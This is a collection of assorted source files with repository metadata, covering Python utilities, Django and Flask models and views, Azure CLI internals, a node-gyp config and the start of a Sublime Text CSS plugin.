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|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3c4dab7d2ca28e85d07d217a14632ebd048a5d15
|
6c507cccc6c13cbd37298be2f70d7c8e92356ea9
|
/master_content_server/util_baseconvert.py
|
606661a5ffcaf89ebe07740b35edbc993c666581
|
[] |
no_license
|
kuroneko/harem
|
309a3d53fc6a518001c9c330e3fae04a41926c5e
|
c9223e19af03dc1a89416f104760aa983119f396
|
refs/heads/master
| 2021-05-29T00:39:41.001286
| 2011-05-21T23:04:37
| 2011-05-21T23:04:37
| 105,629,747
| 0
| 0
| null | 2017-10-03T08:30:41
| 2017-10-03T08:30:41
| null |
UTF-8
|
Python
| false
| false
| 2,325
|
py
|
#!/usr/bin/python
from util_regexes import *
BASE10_DIGITS = "0123456789"
BASE16_DIGITS = "0123456789abcdef"
BASE32_DIGITS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
def convert(number, fromdigits, todigits):
"""Convert between arbitrary base systems
Written by Drew Pettula
Stolen from http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/111286
The input number is assumed to be a string of digits from the
fromdigits string (which is in order of smallest to largest
digit). The return value is a string of elements from todigits
(ordered in the same way). The input and output bases are
determined from the lengths of the digit strings. Negative
signs are passed through.
decimal to binary
>>> baseconvert(555,BASE10,BASE2)
'1000101011'
binary to decimal
>>> baseconvert('1000101011',BASE2,BASE10)
'555'
integer interpreted as binary and converted to decimal (!)
>>> baseconvert(1000101011,BASE2,BASE10)
'555'
base10 to base4
>>> baseconvert(99,BASE10,"0123")
'1203'
base4 to base5 (with alphabetic digits)
>>> baseconvert(1203,"0123","abcde")
'dee'
base5, alpha digits back to base 10
>>> baseconvert('dee',"abcde",BASE10)
'99'
decimal to a base that uses A-Z0-9a-z for its digits
>>> baseconvert(257938572394L,BASE10,BASE62)
'E78Lxik'
..convert back
>>> baseconvert('E78Lxik',BASE62,BASE10)
'257938572394'
binary to a base with words for digits (the function cannot convert this back)
>>> baseconvert('1101',BASE2,('Zero','One'))
'OneOneZeroOne'
"""
neg = False
if str(number)[0]=='-':
number = str(number)[1:]
neg = True
x=long(0)
for digit in str(number):
x = x*len(fromdigits) + fromdigits.index(digit)
res=""
while x>0:
digit = x % len(todigits)
res = todigits[digit] + res
x /= len(todigits)
if neg:
reg = '-' + res
return res
def base32_to_base16(hash):
if not base16_or_32.search(hash):
return None
if base16.search(hash):
return hash.lower()
# Because convert() treats things as numbers, we need to pad things out
# manually to make it legal as a hash
return convert(hash.upper(), BASE32_DIGITS, BASE16_DIGITS).rjust(40, '0')
def base16_to_base32(hash):
if not base16_or_32.search(hash):
return None
if base32.search(hash):
return hash.upper()
return convert(hash.lower(), BASE16_DIGITS, BASE32_DIGITS).rjust(32, 'A')
|
[
"barneydesmond@gmail.com"
] |
barneydesmond@gmail.com
|
ec17d4bbeae0f09559c5cd94e053a2b20e0e9816
|
f0b8ebdabbc59d4c4214a79b44012a06a0c0c2fc
|
/hu-django-ucars/wsgi.py
|
28b6fe2fc6752d12bcabb7c49346b3f8cbcc89a6
|
[] |
no_license
|
devashishsharma2302/react-native-ucars-django
|
84e802c0da54fe81509d9a85d9dd5f20892bd9d5
|
7367c7b793cbfcccef29484ca46e99fa220c8af4
|
refs/heads/master
| 2021-01-24T04:20:29.223617
| 2018-02-26T08:16:44
| 2018-02-26T08:16:44
| 122,933,841
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 388
|
py
|
"""
WSGI config for hu-django-ucars project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.9/howto/deployment/wsgi/
"""
from __future__ import unicode_literals, absolute_import
import os
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()
|
[
"devashish.sharma@hashedin.com"
] |
devashish.sharma@hashedin.com
|
779b93eeb337db3efee9f8b78f0c98238b233ba8
|
177f2ddeca7e15351675035fc10307cf390e6311
|
/baekjoon/1011.py
|
b35e9466a2e3362d5dbd779fa26d0cb4df704429
|
[] |
no_license
|
kokospapa8/algorithm-training
|
8e15fcf46b0f7aaba2a5210209376ae2aacd8107
|
6e1f6a45c1787c98f2cc2add10a7df22b449c6ea
|
refs/heads/master
| 2022-10-02T08:12:19.426555
| 2020-06-04T10:10:30
| 2020-06-04T10:10:30
| 257,132,701
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 319
|
py
|
T = int(input())
for _ in range(T):
start, end = map(int, input().split())
diff = end - start
i = 0
if diff == 1:
print(1)
else:
while diff > 0 :
i += 1
diff -= 2*i
if diff <= 0:
print(2 * i)
break
elif diff <= i+1:
print(i*2+1)
break
|
[
"noreply@github.com"
] |
noreply@github.com
|
800ae8c3497f1292df90b472c2dc120c814fe11b
|
3db346853b87783974fde9996c2cd1ee47e66e06
|
/src/azure-cli-core/azure/cli/core/aaz/_operation.py
|
030d217962260ac4d93824a8c8c945de16ee04a1
|
[
"BSD-3-Clause",
"LGPL-2.0-or-later",
"GPL-1.0-or-later",
"MPL-2.0",
"Apache-2.0",
"BSD-2-Clause",
"LGPL-2.1-only",
"MIT",
"LGPL-2.1-or-later"
] |
permissive
|
ravgill/azure-cli
|
048669167c79fdd9f1cbfa71fa7819ca919bb12c
|
7fb136ef8e00713ed0a9cb3549c7e0bdd73896ac
|
refs/heads/dev
| 2022-05-27T13:15:37.157405
| 2022-05-17T18:23:38
| 2022-05-17T18:23:38
| 241,434,913
| 0
| 0
|
MIT
| 2020-04-29T00:37:34
| 2020-02-18T18:20:48
| null |
UTF-8
|
Python
| false
| false
| 10,631
|
py
|
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
# pylint: disable=too-few-public-methods, protected-access
import json
from azure.core.exceptions import ClientAuthenticationError, ResourceExistsError, ResourceNotFoundError, \
HttpResponseError
from ._arg_browser import AAZArgBrowser
from ._base import AAZUndefined, AAZBaseValue, AAZBaseType
from ._content_builder import AAZContentBuilder
from ._field_type import AAZSimpleType
try:
from urllib import quote # type: ignore
except ImportError:
from urllib.parse import quote # type: ignore
class AAZOperation:
def __init__(self, ctx):
self.ctx = ctx
class AAZHttpOperation(AAZOperation):
""" Http Operation
"""
CLIENT_TYPE = None # http client registered, its value should be in the keys of aaz._client.registered_clients
def __init__(self, ctx):
super().__init__(ctx)
self.client = ctx.get_http_client(self.CLIENT_TYPE)
# common http errors by status code
self.error_map = {
401: ClientAuthenticationError,
404: ResourceNotFoundError,
409: ResourceExistsError,
}
def __call__(self, *args, **kwargs):
raise NotImplementedError()
@staticmethod
def serialize_url_param(name, value, required=True, skip_quote=False, **kwargs): # pylint: disable=unused-argument
if isinstance(value, AAZBaseValue):
value = value.to_serialized_data()
if value == AAZUndefined or value == None: # noqa: E711, pylint: disable=singleton-comparison
if required:
raise ValueError(f"url parameter {name} is required.")
return {} # return empty dict
if isinstance(value, (list, dict)):
raise NotImplementedError(f"not support type {type(value)} for url parameter")
if isinstance(value, bool):
value = json.dumps(value)
if skip_quote is True:
value = str(value)
else:
value = quote(str(value), safe='')
return {name: value}
@staticmethod
def serialize_query_param(name, value, required=False, skip_quote=False, **kwargs):
if isinstance(value, AAZBaseValue):
value = value.to_serialized_data()
if value == AAZUndefined:
if required:
raise ValueError(f"query parameter {name} is required.")
return {}
def process_element(e):
if isinstance(e, (list, dict)):
raise NotImplementedError(f"Not support {type(e)} type element")
if isinstance(e, bool):
e = json.dumps(e)
elif e is None:
e = ""
if skip_quote is True:
e = str(e)
else:
e = quote(str(e), safe='')
return e
if isinstance(value, list):
value = [process_element(v)
for v in value]
# Determines the format of the array. Possible formats are:
# csv - comma separated values 'foo,bar'
# ssv - space separated values 'foo bar'
# tsv - tab separated values 'foo\tbar'
# pipes - pipe separated values 'foo|bar'
# default is csv format
div = kwargs.get('div', ',')
if div:
value = div.join(value)
value = str(value)
else:
# Not a list
value = process_element(value)
return {name: value}
@staticmethod
def serialize_header_param(name, value, required=False, **kwargs): # pylint: disable=unused-argument
if isinstance(value, AAZBaseValue):
value = value.to_serialized_data()
if value == AAZUndefined:
if required:
raise ValueError(f"query parameter {name} is required.")
return {}
def process_element(e):
if isinstance(e, (list, dict)):
raise NotImplementedError(f"Not support {type(e)} type element")
if isinstance(e, bool):
e = json.dumps(e)
elif e is None:
e = ""
return e
if isinstance(value, list):
value = [process_element(v) for v in value]
else:
value = process_element(value)
value = str(value)
return {name: value}
@staticmethod
def serialize_content(value, required=False):
def processor(schema, result):
if schema._flags.get('read_only', False):
# ignore read_only fields when serialize content
return AAZUndefined
return result
if isinstance(value, AAZBaseValue):
value = value.to_serialized_data(processor=processor)
if value == AAZUndefined or value == None: # noqa: E711, pylint: disable=singleton-comparison
if required:
raise ValueError("content is required.")
return None
return value
@staticmethod
def deserialize_http_content(session):
from azure.core.pipeline.policies import ContentDecodePolicy
if ContentDecodePolicy.CONTEXT_NAME in session.context:
return session.context[ContentDecodePolicy.CONTEXT_NAME]
if session.context.options['stream']:
# Cannot handle stream response now
raise NotImplementedError()
raise ValueError("This pipeline didn't have the ContentDecode Policy; can't deserialize")
@staticmethod
def new_content_builder(arg_value, value=None, typ=None, typ_kwargs=None):
""" Create a Content Builder
"""
assert isinstance(arg_value, AAZBaseValue)
arg_data = arg_value.to_serialized_data()
if value is None:
assert issubclass(typ, AAZBaseType)
schema = typ(**typ_kwargs) if typ_kwargs else typ()
if isinstance(schema, AAZSimpleType):
value = typ._ValueCls(
schema=schema,
data=schema.process_data(arg_data)
)
else:
value = typ._ValueCls(
schema=schema,
data=schema.process_data(None)
)
else:
assert isinstance(value, AAZBaseValue)
builder = AAZContentBuilder(
values=[value],
args=[AAZArgBrowser(arg_value=arg_value, arg_data=arg_data)]
)
return value, builder
# properties
@property
def url(self):
return None
@property
def method(self):
return None
@property
def url_parameters(self):
return {}
@property
def query_parameters(self):
return {}
@property
def header_parameters(self):
return {}
@property
def content(self):
return None
@property
def form_content(self):
return None
@property
def stream_content(self):
return None
@property
def error_format(self):
# value should be in the keys of aaz._error_format.registered_error_formats
return None
def make_request(self):
""" Make http request based on the properties.
"""
if self.method in ("GET", ):
# support making request for next link
if self.ctx.next_link:
url = self.ctx.next_link
query_parameters = {}
else:
url = self.url
query_parameters = self.query_parameters
request = self.client._request(
self.method, url, query_parameters, self.header_parameters,
self.content, self.form_content, None)
elif self.method in ("DELETE", "MERGE", "OPTIONS"):
request = self.client._request(
self.method, self.url, self.query_parameters, self.header_parameters,
self.content, self.form_content, None)
elif self.method in ("PUT", "POST", "HEAD", "PATCH",):
request = self.client._request(
self.method, self.url, self.query_parameters, self.header_parameters,
self.content, self.form_content, self.stream_content)
else:
raise ValueError(f"Invalid request method {self.method}")
return request
def on_error(self, response):
""" handle errors in response
"""
# raise common http errors
error_type = self.error_map.get(response.status_code)
if error_type:
raise error_type(response=response)
# raise HttpResponseError
error_format = self.ctx.get_error_format(self.error_format)
raise HttpResponseError(response=response, error_format=error_format)
class AAZJsonInstanceUpdateOperation(AAZOperation):
""" Instance Update Operation
"""
def __call__(self, *args, **kwargs):
raise NotImplementedError()
@staticmethod
def new_content_builder(arg_value, value=None, typ=None, typ_kwargs=None):
""" Create a Content Builder
"""
assert isinstance(arg_value, AAZBaseValue)
arg_data = arg_value.to_serialized_data()
if value is None:
assert issubclass(typ, AAZBaseType)
schema = typ(**typ_kwargs) if typ_kwargs else typ()
if isinstance(schema, AAZSimpleType):
value = typ._ValueCls(
schema=schema,
data=schema.process_data(arg_data)
)
else:
value = typ._ValueCls(
schema=schema,
data=schema.process_data(None)
)
else:
assert isinstance(value, AAZBaseValue)
builder = AAZContentBuilder(
values=[value],
args=[AAZArgBrowser(arg_value=arg_value, arg_data=arg_data)]
)
return value, builder
class AAZGenericInstanceUpdateOperation(AAZOperation):
""" Generic Instance Update Operation
"""
def __call__(self, *args, **kwargs):
raise NotImplementedError()
@staticmethod
def _update_instance_by_generic(instance, args): # pylint: disable=unused-argument
# TODO: implement generic instance update
return instance
|
[
"noreply@github.com"
] |
noreply@github.com
|
5559ff3b8d6a987f15d3f19068b4c475668a7461
|
a07ed3f4984e8153219ef25927a5784c127f43a4
|
/arp_spoof/venv/bin/easy_install-3.7
|
bb94d94b031d29105f2a3d2e40ac4cab54a11736
|
[] |
no_license
|
golan1202/Hacking-with-Python
|
939333b4e86669527f2ccf846caa49601fc05848
|
98e0b1fef562d64b3e6ec8eab90ed75fb8c3f221
|
refs/heads/master
| 2020-08-21T23:41:08.979455
| 2019-10-19T21:31:11
| 2019-10-19T21:31:11
| 216,272,690
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 443
|
7
|
#!/root/PycharmProjects/arp_spoof/venv/bin/python
# EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==40.8.0','console_scripts','easy_install-3.7'
__requires__ = 'setuptools==40.8.0'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(
load_entry_point('setuptools==40.8.0', 'console_scripts', 'easy_install-3.7')()
)
|
[
"root@localhost.localdomain"
] |
root@localhost.localdomain
|
bf1bc1181dc1398baa365c64081544531a19ba5c
|
b4a3ffb862a206a4c7b9783e1643340b01032380
|
/getzip.py
|
7de2b299194a80a20e8907ec7e136ca6801a151b
|
[] |
no_license
|
tanawootc/demopython
|
6bb3073078849429782ca863245e398b316f3727
|
470882271057f1c8e5d0d3f55676accdf2cf9e6e
|
refs/heads/master
| 2023-01-02T13:20:57.909091
| 2020-10-27T14:20:33
| 2020-10-27T14:20:33
| 307,615,528
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 116
|
py
|
import zipfile
zf=zipfile.ZipFile('demo.zip',mode='w')
zf.write('datatext.txt')
zf.write('demofile2.txt')
zf.close
|
[
"fr302_kmutt@hotmail.com"
] |
fr302_kmutt@hotmail.com
|
fd9d52245c2475ab33497efb7eb09727eba3a3fc
|
7b20c0c6013735aa11bf6a8d1886e1bf5b6244fd
|
/database/models.py
|
aedfcd94e3d68c3221761a229b48191650906547
|
[] |
no_license
|
strategy155/SwadeshRocks
|
04779dabf57c006c5bcf29eb2949faa84badaabb
|
f338f11922110414cf59e51f9e9a8e60faa42a33
|
refs/heads/master
| 2020-04-06T04:52:57.326865
| 2016-11-13T15:46:08
| 2016-11-13T15:46:08
| 73,625,458
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 801
|
py
|
from sqlalchemy import Column, Integer, String
from wtforms import Form, StringField, PasswordField, validators
from database_initialization import Base
class User(Base):
__tablename__ = 'users'
id = Column(Integer, primary_key=True)
name = Column(String(50), unique=True)
password = Column(String(50))
def __init__(self, name=None, password=None):
self.name = name
self.password = password
def __repr__(self):
return '<User {}>'.format(self.name)
class RegistrationForm(Form):
username = StringField('Username')
password = PasswordField('New Password', [validators.DataRequired(),
validators.EqualTo('confirm', message='Passwords must match')])
confirm = PasswordField('Repeat Password')
|
[
"strategy155@gmail.com"
] |
strategy155@gmail.com
|
a735fb37aaa2be26ab8d3c81503489d6f048bf9e
|
e0d1f9bcb34758b0cbaa6a32e477e18553f47d25
|
/flapper-news/node_modules/mongoose/node_modules/mongodb/node_modules/bson/build/config.gypi
|
bc68d6129165c638043ce33468f0fca07168327f
|
[
"Apache-2.0",
"MIT"
] |
permissive
|
ChrisLai/thinkster_mean_tutorial
|
fd2a93627aa9f0defeb7b7a7b58a8340433c57bf
|
1a3e4dba3b063a2a0bc2a7a289a5275d5fcfc46f
|
refs/heads/master
| 2020-12-24T17:26:28.613865
| 2015-01-30T20:19:03
| 2015-01-30T20:19:03
| 29,829,048
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,231
|
gypi
|
# Do not edit. File was generated by node-gyp's "configure" step
{
"target_defaults": {
"cflags": [],
"default_configuration": "Release",
"defines": [],
"include_dirs": [],
"libraries": []
},
"variables": {
"clang": 1,
"host_arch": "x64",
"node_install_npm": "false",
"node_prefix": "/usr/local/Cellar/node/0.10.33",
"node_shared_cares": "false",
"node_shared_http_parser": "false",
"node_shared_libuv": "false",
"node_shared_openssl": "false",
"node_shared_v8": "false",
"node_shared_zlib": "false",
"node_tag": "",
"node_unsafe_optimizations": 0,
"node_use_dtrace": "true",
"node_use_etw": "false",
"node_use_openssl": "true",
"node_use_perfctr": "false",
"openssl_no_asm": 0,
"python": "/usr/local/opt/python/bin/python2.7",
"target_arch": "x64",
"v8_enable_gdbjit": 0,
"v8_no_strict_aliasing": 1,
"v8_use_snapshot": "true",
"want_separate_host_toolset": 0,
"nodedir": "/Users/chrislai/.node-gyp/0.10.33",
"copy_dev_lib": "true",
"standalone_static_library": 1,
"save_dev": "",
"browser": "",
"viewer": "man",
"rollback": "true",
"usage": "",
"globalignorefile": "/usr/local/etc/npmignore",
"init_author_url": "",
"shell": "/bin/bash",
"parseable": "",
"shrinkwrap": "true",
"init_license": "ISC",
"cache_max": "Infinity",
"init_author_email": "",
"sign_git_tag": "",
"cert": "",
"git_tag_version": "true",
"local_address": "",
"long": "",
"registry": "https://registry.npmjs.org/",
"fetch_retries": "2",
"npat": "",
"key": "",
"message": "%s",
"versions": "",
"globalconfig": "/usr/local/etc/npmrc",
"always_auth": "",
"spin": "true",
"cache_lock_retries": "10",
"cafile": "",
"heading": "npm",
"fetch_retry_mintimeout": "10000",
"proprietary_attribs": "true",
"json": "",
"description": "true",
"engine_strict": "",
"https_proxy": "",
"init_module": "/Users/chrislai/.npm-init.js",
"userconfig": "/Users/chrislai/.npmrc",
"node_version": "0.10.33",
"user": "",
"editor": "vi",
"save": "",
"tag": "latest",
"global": "",
"optional": "true",
"bin_links": "true",
"force": "",
"searchopts": "",
"depth": "Infinity",
"rebuild_bundle": "true",
"searchsort": "name",
"unicode": "true",
"fetch_retry_maxtimeout": "60000",
"ca": "",
"save_prefix": "^",
"strict_ssl": "true",
"dev": "",
"fetch_retry_factor": "10",
"group": "20",
"save_exact": "",
"cache_lock_stale": "60000",
"version": "",
"cache_min": "10",
"cache": "/Users/chrislai/.npm",
"searchexclude": "",
"color": "true",
"save_optional": "",
"user_agent": "npm/2.1.6 node/v0.10.33 darwin x64",
"ignore_scripts": "",
"cache_lock_wait": "10000",
"production": "",
"save_bundle": "",
"init_version": "1.0.0",
"umask": "18",
"git": "git",
"init_author_name": "",
"scope": "",
"onload_script": "",
"tmp": "/var/folders/qs/5pwpryfd66l45f3rglm1l39h0000gn/T",
"unsafe_perm": "true",
"prefix": "/usr/local",
"link": ""
}
}
|
[
"chrislai@vt.edu"
] |
chrislai@vt.edu
|
a34d3f91763e03f91981e736cd01e8e95ff7086e
|
1d71f8dd253daf35031ca3a8303aed6e8f6389b4
|
/conditional-operators.py
|
fc7d9a670995c498efda6f10b5f5e8e604dcb531
|
[] |
no_license
|
Kandy-Hamisi/Python-Projects
|
87944e60257bb0394959d7e864c1a8e137eba026
|
38493eb4b8fc5c6ef5c518358c292b5726b754ce
|
refs/heads/main
| 2023-03-25T12:51:09.105723
| 2021-03-28T21:02:11
| 2021-03-28T21:02:11
| 342,692,555
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 240
|
py
|
# Check if user is eligible for loan
# not logical operators convert what is true to false and what is false to true
has_high_income = False
has_good_credit = True
if has_high_income or has_good_credit:
print("Eligible for loan")
|
[
"hkandy2000@gmail.com"
] |
hkandy2000@gmail.com
|
c049cf04be0858d3c73c14db381bc8813f8d8642
|
bedd4710a59869f35bf1277cb5985973990caa23
|
/woocommerceArtikli.py
|
caed7b5989e8412689ceb69f52aae8ce488e4fc3
|
[] |
no_license
|
outlawbl/pantheonWordpressConnector
|
c5b3115db982006871c6d4cc02fa8d95502a5245
|
e0bc28f86cda638929e5a8cf145310e7f1a66135
|
refs/heads/master
| 2023-07-28T02:43:39.191611
| 2021-07-12T13:46:48
| 2021-07-12T13:46:48
| 345,086,050
| 0
| 0
| null | 2021-07-12T13:46:49
| 2021-03-06T12:16:21
|
Python
|
UTF-8
|
Python
| false
| false
| 1,091
|
py
|
from connections import wcapi
import pprint
#
# Woocommerce artikli
#
ukupno_stranica_artikala = wcapi.get("products?per_page=100").headers['X-WP-TotalPages']
page = 1
woocommerce_artikli = []
while page < int(ukupno_stranica_artikala)+1:
artikli = wcapi.get("products", params={"per_page": 100, 'page':page}).json()
woocommerce_artikli.append(artikli)
page+=1
# pprint.pprint(woocommerce_artikli)
#
# ID Woocommerce artikala
#
id_woocommerce_artikala = []
for artikli in woocommerce_artikli:
for artikal in artikli:
id_woocommerce_artikala.append(artikal['sku'])
#
# Sredjeni Woocommerce artikli
#
kljucevi = ['id', 'status', 'name', 'sku', 'regular_price', 'description', 'short_description', 'stock_quantity', 'manage_stock', 'images', 'categories', 'attributes']
wc_artikli_za_poredjenje = []
for artikal in woocommerce_artikli:
for x in artikal:
newdict = {k: x[k] for k in kljucevi}
wc_artikli_za_poredjenje.append(newdict)
pprint.pprint(wc_artikli_za_poredjenje)
# print('woocommerce artikala ima: ',len(id_woocommerce_artikala))
|
[
"sandro.peric90@gmail.com"
] |
sandro.peric90@gmail.com
|
2087c2bd762deafca1193784d35bf38c7003b32a
|
a96b2a749bba4b278e5bb5113ba4015c404c1924
|
/server/errors/room.py
|
eba871c69d7e15b684ed7f72c0fbafaf84209f2c
|
[] |
no_license
|
barthap/ChatRooms
|
0a0b1c8e791cd32f47e18d44f0d60b95a46640c0
|
b9bf8b0e982b9d9c495a715fd70abab3c372fe5c
|
refs/heads/main
| 2023-06-07T16:05:51.732748
| 2021-06-28T18:24:28
| 2021-06-28T18:24:28
| 359,367,017
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 329
|
py
|
from errors.api import ApiError
class RoomAlreadyExistsError(ApiError):
def __init__(self, payload=None):
super().__init__('room_already_exists', status_code=400, payload=payload)
class RoomNotFoundError(ApiError):
def __init__(self, payload):
super().__init__('room_not_found', status_code=404, payload=payload)
|
[
"noreply@github.com"
] |
noreply@github.com
|
ad1209ffeec1852a66aebad75571ab1926989861
|
a4bcfc59bc5a0f0f1d241e569b0ad1cbdb8d4406
|
/task8.py
|
3feda9784229f665cc4317d3bb1074436d6df6e2
|
[] |
no_license
|
umang2107/Daily-Practicals
|
a4d8353ef739cc60214a57f893a591aeb19b0dc5
|
dcc1d363e5456a3fee6eecba93085a3aafb34509
|
refs/heads/main
| 2023-06-02T17:35:54.456231
| 2021-06-11T09:35:56
| 2021-06-11T09:35:56
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 185
|
py
|
a = int(input("enter first no : "))
b = int(input("enter second no : "))
if a<b:
print("{} is smallest number : ".format(a))
if b<a:
print("{} is smallest number. ".format(b))
|
[
"noreply@github.com"
] |
noreply@github.com
|
5374d65830897d4758ddd2f4c56fcd91af1be102
|
8eaf5c962e0f3d4422c1e7e398d43dc12d95bda0
|
/env/bin/easy_install
|
78be6c8646f8042a9521706a3c47a10875697af5
|
[] |
no_license
|
travelplanner2k17/TravelPlan
|
96cb695c4e5a4fb7e65362598fb7c549d0fb95e3
|
920916cc3c6042c4af26858ff7f924b68960b21c
|
refs/heads/master
| 2021-01-18T16:47:18.186128
| 2017-04-09T23:32:16
| 2017-04-09T23:32:16
| 86,767,542
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 265
|
#!/home/chezl/Documents/TravelPlan/env/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from setuptools.command.easy_install import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(main())
|
[
"ezlvansa_myxc002@yahoo.com"
] |
ezlvansa_myxc002@yahoo.com
|
|
6a54944f6cac5bfda15f8a6c9b8a83b38f820830
|
d11869516241dca08eba5db8924a779f689852f5
|
/models/company.py
|
60ca4092f9071b3d851f217a1fc456c99ad41719
|
[] |
no_license
|
andriy-sa/Flask-Rest-Api
|
1002bce98f013445ee031dac58a875a9334a3599
|
5b0347ed59b8f4b88340f9b20d226c004083e3a6
|
refs/heads/master
| 2021-07-04T06:15:30.337343
| 2017-10-27T09:42:17
| 2017-10-27T09:42:17
| 79,466,263
| 3
| 0
| null | 2021-06-01T21:55:06
| 2017-01-19T15:22:52
|
JavaScript
|
UTF-8
|
Python
| false
| false
| 331
|
py
|
from orator import Model
from models import user,project
from orator.orm import has_many
class Company(Model):
__fillable__ = ['name', 'address', 'logo']
@has_many('company_id', 'id')
def users(self):
return user.User
@has_many('company_id', 'id')
def projects(self):
return project.Project
|
[
"andriy_smolyar_0@mail.ru"
] |
andriy_smolyar_0@mail.ru
|
d2b4615c57859b3493f75cacb02165af03d4e7d8
|
48dc878f009c7c1546cc359b1bf7617f4f10b0ca
|
/backend/restaurants/views.py
|
627663148e1ddf1ddc38e9d4fda2fb17d997af76
|
[] |
no_license
|
siam923/kothayki
|
69577da53c024905c6b6a8d38c4c904a7ed5a692
|
aec99315d101ffc65fc97967b9a52b59c1751343
|
refs/heads/main
| 2023-07-15T19:10:50.721114
| 2021-08-26T17:07:57
| 2021-08-26T17:07:57
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,013
|
py
|
from django.shortcuts import render
from rest_framework import generics
from django_filters.rest_framework import DjangoFilterBackend
from .models import (Category, Restaurant, Branch, Food,
FoodReview, RestaurantReview, RestaurantYoutubeReview)
from .serializers import (CategorySerializer, RestaurantSerializer,
BranchSerializer, FoodSerializer,
FoodReviewSerializer, RestaurantReviewSerializer,
RestaurantYoutubeReviewSerializer)
class CatagoryList(generics.ListCreateAPIView):
queryset = Category.objects.all()
serializer_class = CategorySerializer
class RestaurantList(generics.ListCreateAPIView):
# Ex: request- /api/v1/restaurants/?category=1&sponsored=False
queryset = Restaurant.objects.all()
serializer_class = RestaurantSerializer
filter_backends = [DjangoFilterBackend]
filterset_fields = {
'category': ['exact', ], # to allow null use 'isnull'
'featured': ['iexact'],
'sponsored': ['iexact'],
'is_new': ['iexact'],
'ratings': ['iexact', 'gte', ],
'name': ['iexact', 'icontains', ],
}
class BranchList(generics.ListCreateAPIView):
queryset = Branch.objects.all()
serializer_class = BranchSerializer
filter_backends = [DjangoFilterBackend]
filterset_fields = {
'zone': ['exact', ],
'location__city__city_name': ['icontains', ],
'restaurant__category__name': ['icontains', ]
}
class FoodList(generics.ListCreateAPIView):
serializer_class = FoodSerializer
def get_queryset(self):
''' url endpoint: restaurants/rest_id/food '''
return Food.objects.filter(restaurant=self.kwargs['rest_id'])
class FoodReviewList(generics.ListCreateAPIView):
serializer_class = FoodReviewSerializer
def get_queryset(self):
return FoodReview.objects.filter(food=self.kwargs['food_id'])
class RestaurantReviewList(generics.ListCreateAPIView):
serializer_class = RestaurantReviewSerializer
def get_queryset(self):
return RestaurantReview.objects.filter(restaurant=self.kwargs['pk'])
class RestaurantYoutubeList(generics.ListCreateAPIView):
serializer_class = RestaurantYoutubeReviewSerializer
def get_queryset(self):
return RestaurantYoutubeReview.objects.filter(
restaurant=self.kwargs['rest_id'])
# Detail Views
class RestaurantDetail(generics.RetrieveUpdateDestroyAPIView):
queryset = Restaurant.objects.all()
serializer_class = RestaurantSerializer
class BranchDetail(generics.RetrieveUpdateDestroyAPIView):
queryset = Branch.objects.all()
serializer_class = BranchSerializer
class FoodDetail(generics.RetrieveUpdateDestroyAPIView):
queryset = Food.objects.all()
serializer_class = FoodSerializer
class RestaurantReviewDetail(generics.RetrieveUpdateDestroyAPIView):
queryset = RestaurantReview.objects.all()
serializer_class = RestaurantReviewSerializer
|
[
"sadman923@gmail.com"
] |
sadman923@gmail.com
|
d258d0409fcb4ccc5af10e6725a17d7e1c7d3880
|
78d94466432b7ca3d8496f34caf2390cb1690c41
|
/CleanCSS.py
|
7f24918abf5d35a4d44dffaeba21d10eebce7481
|
[] |
no_license
|
datygra/CleanCSS
|
eeaba8d3930dcb7689ef0a198e3987b55ff8a5b8
|
c4672e78e9f9db60d1f484751a141249e8e7b2d8
|
refs/heads/master
| 2021-05-28T22:44:07.826413
| 2015-07-20T18:43:14
| 2015-07-20T18:44:05
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 5,408
|
py
|
import sublime
import sublime_plugin
SETTINGS_FILE = "CleanCSS.sublime-settings"
settings = {}
def indentChar():
return settings.get('indent_string', '\t')
def flatten(list, join=-1):
result = list
if(join != -1):
result = []
for item in list:
result.append(item)
result.append([join])
if(len(result)):
result.pop()
return [item for sublist in result for item in sublist]
class CssStyle():
def __init__(self, line, comments):
self.line = line
self.comments = comments
self.category = ''
self.sortOrder = 0
cp = self.line.rfind(':')
if(cp == -1):
self.attr = self.line
self.val = ''
else:
self.attr = self.line[:cp].rstrip()
self.val = self.line[cp+1:].lstrip()
self.setStyleType()
def getColonPosition(self):
pos = self.line.rfind(':');
if(pos == -1):
return -1
return len(self.line[:pos].rstrip())
def verticalAlign(self, colonPos):
if(not self.val):
return
pad = colonPos - len(self.attr)
self.line = self.attr + (pad * ' ') + ' : ' + self.val
def setStyleType(self):
categories = settings.get('categories', {})
for category in categories:
for index, attrName in enumerate(category["attributes"]):
if(attrName == self.attr):
self.category = category["name"]
self.sortOrder = index
if(not self.category):
if(self.attr.startswith('.')):
self.category = 'mixin'
elif(self.attr.startswith('@import')):
self.category = 'import'
elif(self.attr.startswith('@')):
self.category = 'variable'
else:
self.category = 'other'
def output(self, indentCount):
return self.comments + [(indentChar() * indentCount) + self.line]
class CssRule():
def __init__(self, firstline, lines, comments, indentCount):
self.leadingComments = comments
